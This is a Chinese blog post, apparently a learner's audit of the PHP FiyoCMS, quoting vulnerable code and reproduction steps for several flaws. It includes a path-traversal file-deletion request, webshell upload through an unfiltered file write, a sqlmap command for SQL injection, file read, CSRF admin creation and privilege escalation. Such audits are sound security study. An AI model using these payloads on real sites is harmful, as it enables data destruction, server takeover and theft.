0x00 前言

上午上了网课,一上午就装好了cms,下午还有网课,要是结束的早就进行审计。

解决了一下phpstudy使用过程中:

Forbidden You don't have permission to access /install on this server.

解决方法:

加个index.php等入口文件

2:

其他选项菜单->软件设置->允许目录列表

0x01 通读代码

先看入口文件:

index.php

判断了一下config.php是否存在,不存在会进行安装cms

否则包含system/core.php

我们跟进。

看到包含了一堆文件,我们跟进去读

简单看了一下,就是创建数据库,链接数据库

site.php

过滤了很多非法字符

最后删除Installer.php

避免网站重装。

user.php

USER_LEVEL有分级

0x02 根据审计结果来通读

上面读了一些配置文件,接下来根据审计结果来读

根据之前的审计经验,任意文件删除漏洞还是比较好找的,而且这种远古cms还挺多的233

0x03 任意文件删除漏洞

我们看

/dapur/apps/app_config/controller/backuper.php

15-30行

if(isset($_POST['type'])) {         

      if($_POST['type'] == 'database') {        

            @unlink("../../../../.backup/$_POST[file]");          

            if(!file_exists('../../../../.backup'))

                  mkdir('../../../../.backup');             

            $date = md5(date("Ymd:His"));

            $file = "db-backup-$date";

            $c = backup_tables("*",'../../../../.backup',"$file",true);

            if($c)            {

                  $size =
format_size(filesize("../../../../.backup/$file.sql"));                   $time = date("Y/m/d
H:i:s",filemtime("../../../../.backup/$file.sql"));                      $r = "$size - $time";                   echo "{ :$file.sql, :$r}";                                }       }     

和前几个cms一样

通过POST传递的参数file没有经过任何处理就拼接进unlink函数进行文件删除操作

复现

先创建一个文件

payload:

POST /dapur/apps/app_config/controller/backuper.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: bdshare_firstime=1581904550027; UserName=admin888; PassWord=e10adc3949ba59abbe56e057f20f883e; PHPSESSID=mdu33l281pnno5gpdb2ps6m4m4
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 0 type=database&file=../k0i.php

成功复现

这个cms多处都存在这个问题。

0x04 文件上传漏洞

还有一个文件上传漏洞

位置

/dapur/apps/app_theme/libs/save_file.php

问题代码:

require_once ('../../../system/jscore.php');

$c = $_POST["content"];

$f = $_POST["src"]; 

$w = file_put_contents($f,$c);

显而易见没有过滤参数就拼接在file_put_contents函数中,构成文件上传漏洞

复现

在网站根目录下上传一个文件名为k0i.php的一句话木马文件,结果如下图

0x05 SQL注入漏洞

在通读了代码后发现这个cms并不像之前的sql语句多,可以试着去找有关数据库的页面,也可以试着全局搜索关键字如:"select","update"等等。

我们看一下这一个SQL注入:

事实上我们的审计结果也指向了此处:

/system/database.php

public function update($table,$rows,$where)

    {

        $update = 'UPDATE '.$table.' SET ';

        $keys = array_keys($rows);

            

        for($i = 0; $i < count($rows); $i++){

            if(is_string($rows[$keys[$i]]) AND $rows[$keys[$i]] !==
'+hits')             {                 $update .= $keys[$i].'="'.$rows[$keys[$i]].'"';             }             else             {                         if($rows[$keys[$i]] == '+hits') $rows[$keys[$i]]
= $keys[$i] . '+'. 1;                  $update .= $keys[$i].'='.$rows[$keys[$i]];             }             // Parse to add commas             if($i != count($rows)-1)             {                 $update .= ',';             }         }                            $update .= ' WHERE '.$where;       

可以看到这里update语句中的where条件是通过直接拼接参数$where而成的,猜测可能通过$where参数构成sql注入,我们随便找一个带有update方法的实例

全局搜索找一处

if(isset($_GET['stat'])) {

      if($_GET['stat']=='1'){

            $db->update(FDBPrefix.'user',array("status"=>"1"),'id='.$_GET['id']);

            alert('success',Status_Applied,1);

      }

复现:

sqlmap.py -r C:\Users\hp\Desktop\11.txt --batch --dbs

0x06 任意文件读取漏洞

问题代码:

dapur\apps\app_theme\libs\check_file.php

define('_FINDEX_','BACK');

require_once ('../../../system/jscore.php');

$file = $url= "$_GET[src]/$_GET[name]"; 

$furl = "../../../$url";

$content = strlen("$file") - 5;

$content = substr("$file",$content);

$file = strpos("$content",".");

$file = substr("$content",$file+1);

if($file == "html" || $file == "htm" || $file == "xhtml" || $file ==
"js" || $file == "jsp" || $file == "php" || $file == "css" || $file == "xml" ) :       $content = @file_get_contents($furl);       $content = htmlentities($content); ?>

我们看一下:

当$file后缀名为指定文件后缀时:html、htm、xhtml、js、jsp、php、css、xml 的任意文件

通过file_get_contents函数进行文件读取功能,而参数$furl是通过GET方式传入的参数src和name拼接而成的,这就构成了任意文件读取漏洞

复现

0x07 CSRF添加超级用户

/dapur/apps/app_user/sys_user.php

第110-123行

if(isset($_POST['save']) or isset($_POST['apply'])){

      $us=strlen("$_POST[user]");

      $ps=strlen("$_POST[password]");

      $user = $_POST['user'];

      $name = $_POST['name'];

      preg_match('/[^a-zA-Z0-9]+/', $user, $matches);

      if(!empty($_POST['password']) AND 

            !empty($_POST['user'])AND 

            !empty($_POST['name'])AND 

            !empty($_POST['email'])AND 

            !empty($_POST['level'])AND 

            $_POST['password']==$_POST['kpassword'] AND 

            $us>2 AND $ps>3 AND @ereg("^.+@.+\..+$",$_POST['email']) AND
!$matches) {             $qr=$db->insert(FDBPrefix.'user',array("","$user","$name",MD5("$_POST[password]"),"$_POST[email]","$_POST[status]","$_POST[level]",date('Y-m-d
H:i:s'),'',"$_POST[bio]"));

可以看到该程序实现了添加用户的功能,但是并没有使用token来防止CSRF攻击

复现:

利用bp自带的CSRF工具

生成poc:

当管理员点击我们的链接127.0.0.1/1.html时,会生成一个超级用户

0x08 任意文件名修改漏洞

dapur\apps\app_config\sys_config.php

190-193行

问题代码:

er = $_POST['folder_new'];

            $old_folder = $_POST['folder_old'];

            if($old_folder != $new_folder) {

                  $ok = @rename("../$old_folder","../$new_folder");

读一下他的功能是修改后台路径,但是没有对变量进行过滤

复现:

我们可以将 config.php 修改成 config.txt ,然后直接查看网站配置信息。

0x09 越权漏洞

fiyocms一共设置了5个用户组,等级为1-5,权限依次降低,而只有等级1-3有权限登录后台,不同等级具有不同的权限。

super administrator = 1
administrator = 2
editor = 3
publisher = 4
member = 5

位置:

dapur\apps\app_user\sys_user.php

148-211行

if(isset($_POST['edit']) or isset($_POST['applyedit'])){

            $us=strlen("$_POST[user]");

            $ps=strlen("$_POST[password]");     

            $user = $_POST['user'];

            $name = $_POST['name'];

            $_POST["bio"] = htmlentities("$_POST[bio]");

            preg_match('/[^a-zA-Z0-9]+/', $user, $matches);

            if(!empty($_POST['user'])AND !empty($_POST['name'])AND
!empty($_POST['email'])AND !empty($_POST['level']) AND $us>2 AND
@ereg("^.+@.+\..+$",$_POST['email']) AND !$matches)             {                   $qr = false;                   if($_POST['id'] == $_SESSION['USER_ID'])
$_POST['status'] = 1;                   if(empty($_POST['password'])){                         $qr = $db->update(FDBPrefix.'user',array(                                            "user"=>"$_POST[user]",                         "name"=>"$_POST[name]",                         "email"=>"$_POST[email]",                         "status"=>"$_POST[status]",                         "about"=>"$_POST[bio]",                         "level"=>"$_POST[level]"),                         "id=$_POST[id]"); }                   elseif($_POST['password']==$_POST['kpassword']){                         $qr = $db->update(FDBPrefix.'user',array(                                            "user"=>"$_POST[user]",                         "name"=>"$_POST[name]",                         "password"=>MD5("$_POST[password]"),                         "email"=>"$_POST[email]",                         "about"=>"$_POST[bio]",                         "status"=>"$_POST[status]",                         "level"=>"$_POST[level]"),                         "id=$_POST[id]");                         }                                            if($qr AND isset($_POST['edit'])){                                 notice('success',User_Saved);                         redirect('?app=user');                   }                   else if($qr AND isset($_POST['applyedit'])){                         notice('success',User_Saved);                          redirect(getUrl());                                    }                   else {                                                 notice('error',Status_Invalid,2);                   }                                          }             else             {                                          notice('error',Status_Invalid,2);             }       } }

可以看到程序在对用户账户进行操作前,并没有对用户的身份进行确认或者说没有对用户的权限进行检查,这也是越权漏洞产生的原因。

复现:

0x10 总结

到此,这个cms算是审完了。

先总结一下这个cms

与之前审计的cms不同,漏洞主要集中在后台。

而且漏洞的很多成因几乎都是未对用户提交的参数进行过滤处理。

审计起来难度不大,对我这种小白还是很友好的233

有什么收获呢:

善用全局搜索,比如sql注入,我们可以全局搜索特定操作,如"uptate".

对文件操作时,关注一下变量,是否有过滤,怎么拼接的。

2020/2/21 fiyocms代码审计的更多相关文章

  1. 2020/2/2 PHP代码审计之反序列化

    0x00 序列化与反序列化 序列化: serialize()把对象转换为字节序列的过程称为对象的序列化 反序列化: unserialize()把字节序列恢复为对象的过程称为对象的反序列化 0x01 序 ...

  2. 2020/2/1 PHP代码审计之变量覆盖漏洞

    0x00 变量覆盖简介 变量覆盖是指变量未被初始化,我们自定义的参数值可以替换程序原有的变量值. 0x01 漏洞危害 通常结合程序的其他漏洞实现完整的攻击,比如文件上传页面,覆盖掉原来白名单的列表,导 ...

  3. 2020.5.21 第一篇 Scrum冲刺博客

    Team:银河超级无敌舰队 Project:招新通 项目冲刺集合贴:链接 目录 一.Alpha 阶段成员任务安排 二.明日任务安排 三.预期的任务量 四.敏捷开发前的感想 五.团队期望 一.Alpha ...

  4. Learn from Niu 2020.1.21

    1. 你一定要看计算机领域的文章. 如果你是看一堆应用,你最终还是会不知道怎么做. 从计算机到energy是降维打击, 当你学习了计算机的hot skill,再去做应用很容易. 2. 搞研究的思路: ...

  5. 2020/2/4 PHP代码审计之会话认证漏洞

    0x00 会话认证漏洞简介 会话认证是个非常大的话题,涉及各种协议和框架,如cookie.session.sso.oauth.openid等. 而其中最常使用的是Cookie和Session,他们都能 ...

  6. 2020/2/3 PHP代码审计之PHP伪协议

    0x00 简介 开局一张图233 0x01 file://协议 说明: file:// 文件系统是 PHP 使用的默认封装协议,展现了本地文件系统.当指定了一个相对路径(不以/..\或 Windows ...

  7. 2020/2/3 PHP代码审计之PHP弱类型

    0x00 简介 php中有两种比较的符号 == 与 === <?php 2 $a = $b ; 3 $a===$b ; 4 ?> === 在进行比较的时候,会先判断两种字符串的类型是否相等 ...

  8. 2020/2/1 PHP代码审计之任意文件读取及删除漏洞

    在开始学习之前先简单记录一下自己现在的思路吧..现在接触的基本都是无防护的漏洞也就是最简单的一些漏洞.我的想法就是以代审思路为主,之前一直在打CTF,白盒的思维我觉得和CTF这种黑盒有很大区别.自己的 ...

  9. 2020/1/31 PHP代码审计之文件包含漏洞

    0x00 文件包含简介 文件包含漏洞的产生原因是在通过引入文件时,引用的文件名,用户可控,由于传入的文件名没有经过合理的校检,或者校验被绕过,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意 ...

随机推荐

  1. 51nod 1449:砝码称重

    1449 砝码称重 题目来源: CodeForces 基准时间限制:1 秒 空间限制:131072 KB 分值: 40 难度:4级算法题  收藏  取消关注 现在有好多种砝码,他们的重量是 w0,w1 ...

  2. 100个iOS开发/设计面试题汇总,你将如何作答?

    原文: http://www.csdn.net/article/2015-01-19/2823604-ios-interview-questions 常见问题 你昨天/这周学习了什么? 你为什么热衷于 ...

  3. Centos7 nginx 反向代理的配置

    一.正向代理与反向代理 1.正向代理 正向代理往VPN理解 正向代理,也就是传说中的代理,他的工作原理就像一个跳板(VPN),简单的说: 我是一个用户,我访问不了某网站,但是我能访问一个代理服务器,这 ...

  4. Python - 列表与字符串的相互转换

    1. 列表转换成字符串,用''.join() # 创建一个列表 list1 = ['a','b','c'] # 将列表的元素拼接为字符串 print(''.join(list1)) # 将列表的元素通 ...

  5. NIKKEI Programming Contest 2019-2 D 部分分题解

    请注意本文章所描写的算法只可以获得前 14 个测试点(含三个样例)的部分分,但是没有出现 WA 的情况. 题面 给出 \(m\) 个线段,每次可以从线段上任意一点以代价 \(c_i\) 走到线段上另一 ...

  6. 【转载】XShell 连接 VirtualBox CentOS7

    1.安装 XShell 网址:http://sw.bos.baidu.com/sw-search-sp/software/07a1d9cec0638/Xshell-5.0.1339.exe 尽量不要安 ...

  7. IDEA 服务器热部署详解(On Update action/On frame deactivation)

    https://blog.csdn.net/w15321271041/article/details/80597962 场景:一般服务器(比如tomcat,jboss等)启动以后,我们还需要进一步修改 ...

  8. WC2020「Fantasie」

    由于某些不可抗拒因素,这篇文章鸽了

  9. 《O’Reilly精品图书系列共21册》azw3

    套装书目: <机器学习:实用案例解析> <利用Python进行数据分析> <社交网站的数据挖掘与分析(原书第2版)> <社会网络分析:方法与实践> &l ...

  10. ROS-5 : 自定义消息

    自定义消息一般存储在功能包的msg文件夹下的.msg文件中,这些定义可告诉ROS这些数据的类型和名称,以便于在ROS 节点中使用.添加完这些自定义消息后,ROS会将其转为等效的C++节点,从而可在其他 ...